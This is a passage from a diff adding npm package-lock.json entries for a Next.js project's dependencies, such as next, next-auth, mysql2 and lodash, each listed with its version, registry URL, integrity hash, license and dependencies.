"call-bound": "^1.0.4", + "generator-function": "^2.0.0", + "get-proto": "^1.0.1", + "has-tostringtag": "^1.0.2", + "safe-regex-test": "^1.1.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-glob": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.3.tgz", + "integrity": "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-extglob": "^2.1.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-map": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/is-map/-/is-map-2.0.3.tgz", + "integrity": "sha512-1Qed0/Hr2m+YqxnM09CjA2d/i6YZNfF6R2oRAOj36eUdS6qIV/huPJNSEpKbupewFs+ZsJlxsjjPbc0/afW6Lw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-negative-zero": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/is-negative-zero/-/is-negative-zero-2.0.3.tgz", + "integrity": "sha512-5KoIu2Ngpyek75jXodFvnafB6DJgr3u8uuK0LEZJjrU19DrMD3EVERaR8sjz8CCGgpZvxPl9SuE1GMVPFHx1mw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-number": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", + "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.12.0" + } + }, + "node_modules/is-number-object": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/is-number-object/-/is-number-object-1.1.1.tgz", + "integrity": "sha512-lZhclumE1G6VYD8VHe35wFaIif+CTy5SJIi5+3y4psDgWu4wPDoBhF8NxUOinEc7pHgiTsT6MaBb92rKhhD+Xw==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.3", + "has-tostringtag": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-path-inside": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/is-path-inside/-/is-path-inside-3.0.3.tgz", + "integrity": "sha512-Fd4gABb+ycGAmKou8eMftCupSir5lRxqf4aD/vd0cD2qc4HL07OjCeuHMr8Ro4CoMaeCKDB0/ECBOVWjTwUvPQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/is-property": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/is-property/-/is-property-1.0.2.tgz", + "integrity": "sha512-Ks/IoX00TtClbGQr4TWXemAnktAQvYB7HzcCxDGqEZU6oCmb2INHuOoKxbtR+HFkmYWBKv/dOZtGRiAjDhj92g==", + "license": "MIT" + }, + "node_modules/is-regex": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/is-regex/-/is-regex-1.2.1.tgz", + "integrity": "sha512-MjYsKHO5O7mCsmRGxWcLWheFqN9DJ/2TmngvjKXihe6efViPqc274+Fx/4fYj/r03+ESvBdTXK0V6tA3rgez1g==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.2", + "gopd": "^1.2.0", + "has-tostringtag": "^1.0.2", + "hasown": "^2.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-set": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/is-set/-/is-set-2.0.3.tgz", + "integrity": "sha512-iPAjerrse27/ygGLxw+EBR9agv9Y6uLeYVJMu+QNCoouJ1/1ri0mGrcWpfCqFZuzzx3WjtwxG098X+n4OuRkPg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-shared-array-buffer": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/is-shared-array-buffer/-/is-shared-array-buffer-1.0.4.tgz", + "integrity": "sha512-ISWac8drv4ZGfwKl5slpHG9OwPNty4jOWPRIhBpxOoD+hqITiwuipOQ2bNthAzwA3B4fIjO4Nln74N0S9byq8A==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.3" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-string": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/is-string/-/is-string-1.1.1.tgz", + "integrity": "sha512-BtEeSsoaQjlSPBemMQIrY1MY0uM6vnS1g5fmufYOtnxLGUZM2178PKbhsk7Ffv58IX+ZtcvoGwccYsh0PglkAA==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.3", + "has-tostringtag": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-symbol": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/is-symbol/-/is-symbol-1.1.1.tgz", + "integrity": "sha512-9gGx6GTtCQM73BgmHQXfDmLtfjjTUDSyoxTCbp5WtoixAhfgsDirWIcVQ/IHpvI5Vgd5i/J5F7B9cN/WlVbC/w==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.2", + "has-symbols": "^1.1.0", + "safe-regex-test": "^1.1.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-typed-array": { + "version": "1.1.15", + "resolved": "https://registry.npmjs.org/is-typed-array/-/is-typed-array-1.1.15.tgz", + "integrity": "sha512-p3EcsicXjit7SaskXHs1hA91QxgTw46Fv6EFKKGS5DRFLD8yKnohjF3hxoju94b/OcMZoQukzpPpBE9uLVKzgQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "which-typed-array": "^1.1.16" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-weakmap": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/is-weakmap/-/is-weakmap-2.0.2.tgz", + "integrity": "sha512-K5pXYOm9wqY1RgjpL3YTkF39tni1XajUIkawTLUo9EZEVUFga5gSQJF8nNS7ZwJQ02y+1YCNYcMh+HIf1ZqE+w==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-weakref": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/is-weakref/-/is-weakref-1.1.1.tgz", + "integrity": "sha512-6i9mGWSlqzNMEqpCp93KwRS1uUOodk2OJ6b+sq7ZPDSy2WuI5NFIxp/254TytR8ftefexkWn5xNiHUNpPOfSew==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.3" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-weakset": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/is-weakset/-/is-weakset-2.0.4.tgz", + "integrity": "sha512-mfcwb6IzQyOKTs84CQMrOwW4gQcaTOAWJ0zzJCl2WSPDrWk/OzDaImWFH3djXhb24g4eudZfLRozAvPGw4d9hQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.3", + "get-intrinsic": "^1.2.6" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/isarray": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-2.0.5.tgz", + "integrity": "sha512-xHjhDr3cNBK0BzdUJSPXZntQUx/mwMS5Rw4A7lPJ90XGAO6ISP/ePDNuo0vhqOZU+UD5JoodwCAAoZQd3FeAKw==", + "dev": true, + "license": "MIT" + }, + "node_modules/isexe": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz", + "integrity": "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==", + "license": "ISC" + }, + "node_modules/iterator.prototype": { + "version": "1.1.5", + "resolved": "https://registry.npmjs.org/iterator.prototype/-/iterator.prototype-1.1.5.tgz", + "integrity": "sha512-H0dkQoCa3b2VEeKQBOxFph+JAbcrQdE7KC0UkqwpLmv2EC4P41QXP+rqo9wYodACiG5/WM5s9oDApTU8utwj9g==", + "dev": true, + "license": "MIT", + "dependencies": { + "define-data-property": "^1.1.4", + "es-object-atoms": "^1.0.0", + "get-intrinsic": "^1.2.6", + "get-proto": "^1.0.0", + "has-symbols": "^1.1.0", + "set-function-name": "^2.0.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/jackspeak": { + "version": "2.3.6", + "resolved": "https://registry.npmjs.org/jackspeak/-/jackspeak-2.3.6.tgz", + "integrity": "sha512-N3yCS/NegsOBokc8GAdM8UcmfsKiSS8cipheD/nivzr700H+nsMOxJjQnvwOcRYVuFkdH0wGUvW2WbXGmrZGbQ==", + "dev": true, + "license": "BlueOak-1.0.0", + "dependencies": { + "@isaacs/cliui": "^8.0.2" + }, + "engines": { + "node": ">=14" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + }, + "optionalDependencies": { + "@pkgjs/parseargs": "^0.11.0" + } + }, + "node_modules/jiti": { + "version": "1.21.7", + "resolved": "https://registry.npmjs.org/jiti/-/jiti-1.21.7.tgz", + "integrity": "sha512-/imKNG4EbWNrVjoNC/1H5/9GFy+tqjGBHCaSsN+P2RnPqjsLmv6UD3Ej+Kj8nBWaRAwyk7kK5ZUc+OEatnTR3A==", + "dev": true, + "license": "MIT", + "bin": { + "jiti": "bin/jiti.js" + } + }, + "node_modules/jose": { + "version": "4.15.9", + "resolved": "https://registry.npmjs.org/jose/-/jose-4.15.9.tgz", + "integrity": "sha512-1vUQX+IdDMVPj4k8kOxgUqlcK518yluMuGZwqlr44FS1ppZB/5GWh4rZG89erpOBOJjU/OBsnCVFfapsRz6nEA==", + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/panva" + } + }, + "node_modules/js-tokens": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz", + "integrity": "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==", + "license": "MIT" + }, + "node_modules/js-yaml": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-4.1.1.tgz", + "integrity": "sha512-qQKT4zQxXl8lLwBtHMWwaTcGfFOZviOJet3Oy/xmGk2gZH677CJM9EvtfdSkgWcATZhj/55JZ0rmy3myCT5lsA==", + "dev": true, + "license": "MIT", + "dependencies": { + "argparse": "^2.0.1" + }, + "bin": { + "js-yaml": "bin/js-yaml.js" + } + }, + "node_modules/json-buffer": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/json-buffer/-/json-buffer-3.0.1.tgz", + "integrity": "sha512-4bV5BfR2mqfQTJm+V5tPPdf+ZpuhiIvTuAB5g8kcrXOZpTT/QwwVRWBywX1ozr6lEuPdbHxwaJlm9G6mI2sfSQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/json-schema-traverse": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz", + "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==", + "dev": true, + "license": "MIT" + }, + "node_modules/json-stable-stringify-without-jsonify": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/json-stable-stringify-without-jsonify/-/json-stable-stringify-without-jsonify-1.0.1.tgz", + "integrity": "sha512-Bdboy+l7tA3OGW6FjyFHWkP5LuByj1Tk33Ljyq0axyzdk9//JSi2u3fP1QSmd1KNwq6VOKYGlAu87CisVir6Pw==", + "dev": true, + "license": "MIT" + }, + "node_modules/json5": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/json5/-/json5-1.0.2.tgz", + "integrity": "sha512-g1MWMLBiz8FKi1e4w0UyVL3w+iJceWAFBAaBnnGKOpNa5f8TLktkbre1+s6oICydWAm+HRUGTmI+//xv2hvXYA==", + "dev": true, + "license": "MIT", + "dependencies": { + "minimist": "^1.2.0" + }, + "bin": { + "json5": "lib/cli.js" + } + }, + "node_modules/jsx-ast-utils": { + "version": "3.3.5", + "resolved": "https://registry.npmjs.org/jsx-ast-utils/-/jsx-ast-utils-3.3.5.tgz", + "integrity": "sha512-ZZow9HBI5O6EPgSJLUb8n2NKgmVWTwCvHGwFuJlMjvLFqlGG6pjirPhtdsseaLZjSibD8eegzmYpUZwoIlj2cQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "array-includes": "^3.1.6", + "array.prototype.flat": "^1.3.1", + "object.assign": "^4.1.4", + "object.values": "^1.1.6" + }, + "engines": { + "node": ">=4.0" + } + }, + "node_modules/keyv": { + "version": "4.5.4", + "resolved": "https://registry.npmjs.org/keyv/-/keyv-4.5.4.tgz", + "integrity": "sha512-oxVHkHR/EJf2CNXnWxRLW6mg7JyCCUcG0DtEGmL2ctUo1PNTin1PUil+r/+4r5MpVgC/fn1kjsx7mjSujKqIpw==", + "dev": true, + "license": "MIT", + "dependencies": { + "json-buffer": "3.0.1" + } + }, + "node_modules/language-subtag-registry": { + "version": "0.3.23", + "resolved": "https://registry.npmjs.org/language-subtag-registry/-/language-subtag-registry-0.3.23.tgz", + "integrity": "sha512-0K65Lea881pHotoGEa5gDlMxt3pctLi2RplBb7Ezh4rRdLEOtgi7n4EwK9lamnUCkKBqaeKRVebTq6BAxSkpXQ==", + "dev": true, + "license": "CC0-1.0" + }, + "node_modules/language-tags": { + "version": "1.0.9", + "resolved": "https://registry.npmjs.org/language-tags/-/language-tags-1.0.9.tgz", + "integrity": "sha512-MbjN408fEndfiQXbFQ1vnd+1NoLDsnQW41410oQBXiyXDMYH5z505juWa4KUE1LqxRC7DgOgZDbKLxHIwm27hA==", + "dev": true, + "license": "MIT", + "dependencies": { + "language-subtag-registry": "^0.3.20" + }, + "engines": { + "node": ">=0.10" + } + }, + "node_modules/levn": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/levn/-/levn-0.4.1.tgz", + "integrity": "sha512-+bT2uH4E5LGE7h/n3evcS/sQlJXCpIp6ym8OWJ5eV6+67Dsql/LaaT7qJBAt2rzfoa/5QBGBhxDix1dMt2kQKQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "prelude-ls": "^1.2.1", + "type-check": "~0.4.0" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/lilconfig": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/lilconfig/-/lilconfig-3.1.3.tgz", + "integrity": "sha512-/vlFKAoH5Cgt3Ie+JLhRbwOsCQePABiU3tJ1egGvyQ+33R/vcwM2Zl2QR/LzjsBeItPt3oSVXapn+m4nQDvpzw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=14" + }, + "funding": { + "url": "https://github.com/sponsors/antonk52" + } + }, + "node_modules/lines-and-columns": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/lines-and-columns/-/lines-and-columns-1.2.4.tgz", + "integrity": "sha512-7ylylesZQ/PV29jhEDl3Ufjo6ZX7gCqJr5F7PKrqc93v7fzSymt1BpwEU8nAUXs8qzzvqhbjhK5QZg6Mt/HkBg==", + "dev": true, + "license": "MIT" + }, + "node_modules/locate-path": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-6.0.0.tgz", + "integrity": "sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw==", + "dev": true, + "license": "MIT", + "dependencies": { + "p-locate": "^5.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/lodash": { + "version": "4.17.21", + "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz", + "integrity": "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==", + "license": "MIT" + }, + "node_modules/lodash.merge": { + "version": "4.6.2", + "resolved": "https://registry.npmjs.org/lodash.merge/-/lodash.merge-4.6.2.tgz", + "integrity": "sha512-0KpjqXRVvrYyCsX1swR/XTK0va6VQkQM6MNo7PqW77ByjAhoARA8EfrP1N4+KlKj8YS0ZUCtRT/YUuhyYDujIQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/long": { + "version": "5.3.2", + "resolved": "https://registry.npmjs.org/long/-/long-5.3.2.tgz", + "integrity": "sha512-mNAgZ1GmyNhD7AuqnTG3/VQ26o760+ZYBPKjPvugO8+nLbYfX6TVpJPseBvopbdY+qpZ/lKUnmEc1LeZYS3QAA==", + "license": "Apache-2.0" + }, + "node_modules/loose-envify": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/loose-envify/-/loose-envify-1.4.0.tgz", + "integrity": "sha512-lyuxPGr/Wfhrlem2CL/UcnUc1zcqKAImBDzukY7Y5F/yQiNdko6+fRLevlw1HgMySw7f611UIY408EtxRSoK3Q==", + "license": "MIT", + "dependencies": { + "js-tokens": "^3.0.0 || ^4.0.0" + }, + "bin": { + "loose-envify": "cli.js" + } + }, + "node_modules/lru-cache": { + "version": "10.4.3", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-10.4.3.tgz", + "integrity": "sha512-JNAzZcXrCt42VGLuYz0zfAzDfAvJWW6AfYlDBQyDV5DClI2m5sAmK+OIO7s59XfsRsWHp02jAJrRadPRGTt6SQ==", + "dev": true, + "license": "ISC" + }, + "node_modules/lru.min": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/lru.min/-/lru.min-1.1.4.tgz", + "integrity": "sha512-DqC6n3QQ77zdFpCMASA1a3Jlb64Hv2N2DciFGkO/4L9+q/IpIAuRlKOvCXabtRW6cQf8usbmM6BE/TOPysCdIA==", + "license": "MIT", + "engines": { + "bun": ">=1.0.0", + "deno": ">=1.30.0", + "node": ">=8.0.0" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wellwelwel" + } + }, + "node_modules/lucide-react": { + "version": "0.575.0", + "resolved": "https://registry.npmjs.org/lucide-react/-/lucide-react-0.575.0.tgz", + "integrity": "sha512-VuXgKZrk0uiDlWjGGXmKV6MSk9Yy4l10qgVvzGn2AWBx1Ylt0iBexKOAoA6I7JO3m+M9oeovJd3yYENfkUbOeg==", + "license": "ISC", + "peerDependencies": { + "react": "^16.5.1 || ^17.0.0 || ^18.0.0 || ^19.0.0" + } + }, + "node_modules/math-intrinsics": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/math-intrinsics/-/math-intrinsics-1.1.0.tgz", + "integrity": "sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/merge2": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/merge2/-/merge2-1.4.1.tgz", + "integrity": "sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 8" + } + }, + "node_modules/micromatch": { + "version": "4.0.8", + "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.8.tgz", + "integrity": "sha512-PXwfBhYu0hBCPw8Dn0E+WDYb7af3dSLVWKi3HGv84IdF4TyFoC0ysxFd0Goxw7nSv4T/PzEJQxsYsEiFCKo2BA==", + "dev": true, + "license": "MIT", + "dependencies": { + "braces": "^3.0.3", + "picomatch": "^2.3.1" + }, + "engines": { + "node": ">=8.6" + } + }, + "node_modules/minimatch": { + "version": "3.1.5", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.5.tgz", + "integrity": "sha512-VgjWUsnnT6n+NUk6eZq77zeFdpW2LWDzP6zFGrCbHXiYNul5Dzqk2HHQ5uFH2DNW5Xbp8+jVzaeNt94ssEEl4w==", + "dev": true, + "license": "ISC", + "dependencies": { + "brace-expansion": "^1.1.7" + }, + "engines": { + "node": "*" + } + }, + "node_modules/minimist": { + "version": "1.2.8", + "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.8.tgz", + "integrity": "sha512-2yyAR8qBkN3YuheJanUpWC5U3bb5osDywNB8RzDVlDwDHbocAJveqqj1u8+SVD7jkWT4yvsHCpWqqWqAxb0zCA==", + "dev": true, + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/minipass": { + "version": "7.1.3", + "resolved": "https://registry.npmjs.org/minipass/-/minipass-7.1.3.tgz", + "integrity": "sha512-tEBHqDnIoM/1rXME1zgka9g6Q2lcoCkxHLuc7ODJ5BxbP5d4c2Z5cGgtXAku59200Cx7diuHTOYfSBD8n6mm8A==", + "dev": true, + "license": "BlueOak-1.0.0", + "engines": { + "node": ">=16 || 14 >=14.17" + } + }, + "node_modules/ms": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", + "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", + "dev": true, + "license": "MIT" + }, + "node_modules/mysql2": { + "version": "3.15.3", + "resolved": "https://registry.npmjs.org/mysql2/-/mysql2-3.15.3.tgz", + "integrity": "sha512-FBrGau0IXmuqg4haEZRBfHNWB5mUARw6hNwPDXXGg0XzVJ50mr/9hb267lvpVMnhZ1FON3qNd4Xfcez1rbFwSg==", + "license": "MIT", + "dependencies": { + "aws-ssl-profiles": "^1.1.1", + "denque": "^2.1.0", + "generate-function": "^2.3.1", + "iconv-lite": "^0.7.0", + "long": "^5.2.1", + "lru.min": "^1.0.0", + "named-placeholders": "^1.1.3", + "seq-queue": "^0.0.5", + "sqlstring": "^2.3.2" + }, + "engines": { + "node": ">= 8.0" + } + }, + "node_modules/mz": { + "version": "2.7.0", + "resolved": "https://registry.npmjs.org/mz/-/mz-2.7.0.tgz", + "integrity": "sha512-z81GNO7nnYMEhrGh9LeymoE4+Yr0Wn5McHIZMK5cfQCl+NDX08sCZgUc9/6MHni9IWuFLm1Z3HTCXu2z9fN62Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "any-promise": "^1.0.0", + "object-assign": "^4.0.1", + "thenify-all": "^1.0.0" + } + }, + "node_modules/named-placeholders": { + "version": "1.1.6", + "resolved": "https://registry.npmjs.org/named-placeholders/-/named-placeholders-1.1.6.tgz", + "integrity": "sha512-Tz09sEL2EEuv5fFowm419c1+a/jSMiBjI9gHxVLrVdbUkkNUUfjsVYs9pVZu5oCon/kmRh9TfLEObFtkVxmY0w==", + "license": "MIT", + "dependencies": { + "lru.min": "^1.1.0" + }, + "engines": { + "node": ">=8.0.0" + } + }, + "node_modules/nanoid": { + "version": "5.1.6", + "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-5.1.6.tgz", + "integrity": "sha512-c7+7RQ+dMB5dPwwCp4ee1/iV/q2P6aK1mTZcfr1BTuVlyW9hJYiMPybJCcnBlQtuSmTIWNeazm/zqNoZSSElBg==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "bin": { + "nanoid": "bin/nanoid.js" + }, + "engines": { + "node": "^18 || >=20" + } + }, + "node_modules/napi-postinstall": { + "version": "0.3.4", + "resolved": "https://registry.npmjs.org/napi-postinstall/-/napi-postinstall-0.3.4.tgz", + "integrity": "sha512-PHI5f1O0EP5xJ9gQmFGMS6IZcrVvTjpXjz7Na41gTE7eE2hK11lg04CECCYEEjdc17EV4DO+fkGEtt7TpTaTiQ==", + "dev": true, + "license": "MIT", + "bin": { + "napi-postinstall": "lib/cli.js" + }, + "engines": { + "node": "^12.20.0 || ^14.18.0 || >=16.0.0" + }, + "funding": { + "url": "https://opencollective.com/napi-postinstall" + } + }, + "node_modules/natural-compare": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/natural-compare/-/natural-compare-1.4.0.tgz", + "integrity": "sha512-OWND8ei3VtNC9h7V60qff3SVobHr996CTwgxubgyQYEpg290h9J0buyECNNJexkFm5sOajh5G116RYA1c8ZMSw==", + "dev": true, + "license": "MIT" + }, + "node_modules/next": { + "version": "14.2.35", + "resolved": "https://registry.npmjs.org/next/-/next-14.2.35.tgz", + "integrity": "sha512-KhYd2Hjt/O1/1aZVX3dCwGXM1QmOV4eNM2UTacK5gipDdPN/oHHK/4oVGy7X8GMfPMsUTUEmGlsy0EY1YGAkig==", + "license": "MIT", + "dependencies": { + "@next/env": "14.2.35", + "@swc/helpers": "0.5.5", + "busboy": "1.6.0", + "caniuse-lite": "^1.0.30001579", + "graceful-fs": "^4.2.11", + "postcss": "8.4.31", + "styled-jsx": "5.1.1" + }, + "bin": { + "next": "dist/bin/next" + }, + "engines": { + "node": ">=18.17.0" + }, + "optionalDependencies": { + "@next/swc-darwin-arm64": "14.2.33", + "@next/swc-darwin-x64": "14.2.33", + "@next/swc-linux-arm64-gnu": "14.2.33", + "@next/swc-linux-arm64-musl": "14.2.33", + "@next/swc-linux-x64-gnu": "14.2.33", + "@next/swc-linux-x64-musl": "14.2.33", + "@next/swc-win32-arm64-msvc": "14.2.33", + "@next/swc-win32-ia32-msvc": "14.2.33", + "@next/swc-win32-x64-msvc": "14.2.33" + }, + "peerDependencies": { + "@opentelemetry/api": "^1.1.0", + "@playwright/test": "^1.41.2", + "react": "^18.2.0", + "react-dom": "^18.2.0", + "sass": "^1.3.0" + }, + "peerDependenciesMeta": { + "@opentelemetry/api": { + "optional": true + }, + "@playwright/test": { + "optional": true + }, + "sass": { + "optional": true + } + } + }, + "node_modules/next-auth": { + "version": "4.24.13", + "resolved": "https://registry.npmjs.org/next-auth/-/next-auth-4.24.13.tgz", + "integrity": "sha512-sgObCfcfL7BzIK76SS5TnQtc3yo2Oifp/yIpfv6fMfeBOiBJkDWF3A2y9+yqnmJ4JKc2C+nMjSjmgDeTwgN1rQ==", + "license": "ISC", + "dependencies": { + "@babel/runtime": "^7.20.13", + "@panva/hkdf": "^1.0.2", + "cookie": "^0.7.0", + "jose": "^4.15.5", + "oauth": "^0.9.15", + "openid-client": "^5.4.0", + "preact": "^10.6.3", + "preact-render-to-string": "^5.1.19", + "uuid": "^8.3.2" + }, + "peerDependencies": { + "@auth/core": "0.34.3", + "next": "^12.2.5 || ^13 || ^14 || ^15 || ^16", + "nodemailer": "^7.0.7", + "react": "^17.0.2 || ^18 || ^19", + "react-dom": "^17.0.2 || ^18 || ^19" + }, + "peerDependenciesMeta": { + "@auth/core": { + "optional": true + }, + "nodemailer": { + "optional": true + } + } + }, + "node_modules/next/node_modules/nanoid": { + "version": "3.3.11", + "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.11.tgz", + "integrity": "sha512-N8SpfPUnUp1bK+PMYW8qSWdl9U+wwNWI4QKxOYDy9JAro3WMX7p2OeVRF9v+347pnakNevPmiHhNmZ2HbFA76w==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "bin": { + "nanoid": "bin/nanoid.cjs" + }, + "engines": { + "node": "^10 || ^12 || ^13.7 || ^14 || >=15.0.1" + } + }, + "node_modules/next/node_modules/postcss": { + "version": "8.4.31", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.4.31.tgz", + "integrity": "sha512-PS08Iboia9mts/2ygV3eLpY5ghnUcfLV/EXTOW1E2qYxJKGGBUtNjN76FYHnMs36RmARn41bC0AZmn+rR0OVpQ==", + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/postcss/" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/postcss" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "dependencies": { + "nanoid": "^3.3.6", + "picocolors": "^1.0.0", + "source-map-js": "^1.0.2" + }, + "engines": { + "node": "^10 || ^12 || >=14" + } + }, + "node_modules/node-exports-info": { + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/node-exports-info/-/node-exports-info-1.6.0.tgz", + "integrity": "sha512-pyFS63ptit/P5WqUkt+UUfe+4oevH+bFeIiPPdfb0pFeYEu/1ELnJu5l+5EcTKYL5M7zaAa7S8ddywgXypqKCw==", + "dev": true, + "license": "MIT", + "dependencies": { + "array.prototype.flatmap": "^1.3.3", + "es-errors": "^1.3.0", + "object.entries": "^1.1.9", + "semver": 